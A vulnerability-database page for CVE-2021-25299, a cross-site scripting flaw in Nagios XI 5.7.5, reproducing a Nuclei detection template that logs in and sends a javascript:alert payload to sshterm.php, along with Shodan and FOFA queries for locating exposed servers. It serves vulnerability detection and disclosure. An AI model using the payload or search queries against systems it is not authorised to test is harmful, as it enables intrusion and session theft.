Browse / CVEs / CVE-2021-25299
CVE-2021-25299· nagios / nagios xi· CWE-79
Nagios XI 5.7.5 - Cross-Site Scripting
Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
Impact
Attackers can craft malicious URLs containing JavaScript that executes when clicked by admin users, potentially stealing session cookies that can be chained with other vulnerabilities for one-click remote command execution and complete Nagios XI server compromise.
Fix
Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
How to confirm it
Send: GET /nagiosxi/login.php ; POST /nagiosxi/login.php ; GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain)
Positive when: contains(header_3, 'text/html') and status_code_3 == 200 and contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")Run it with nuclei: nuclei -id CVE-2021-25299 -u <target>
The full check
id: CVE-2021-25299
info:
name: Nagios XI 5.7.5 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
impact: |
Attackers can craft malicious URLs containing JavaScript that executes when clicked by admin users, potentially stealing session cookies that can be chained with other vulnerabilities for one-click remote command execution and complete Nagios XI server compromise.
remediation: |
Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
reference:
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
- http://nagios.com
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-25299
- https://assets.nagios.com/downloads/nagiosxi/versions.php
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25299
cwe-id: CWE-79
epss-score: 0.9776
epss-percentile: 0.99904
cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: nagios
product: nagios_xi
shodan-query:
- title:"Nagios XI"
- http.title:"nagios xi"
fofa-query:
- title="nagios xi"
- app="nagios-xi"
google-query: intitle:"nagios xi"
tags: cve2021,cve,nagios,nagiosxi,xss,authenticated,vuln
http:
- raw:
- |
GET /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
- |
GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(header_3, 'text/html')"
- "status_code_3 == 200"
- 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
condition: and
extractors:
- type: regex
name: nsp
group: 1
regex:
- 'name="nsp" value="(.*)">'
internal: true
part: bodyReferences
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
- http://nagios.com
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-25299
- https://assets.nagios.com/downloads/nagiosxi/versions.php
Use this check only on systems you are authorised to test. Where the data comes from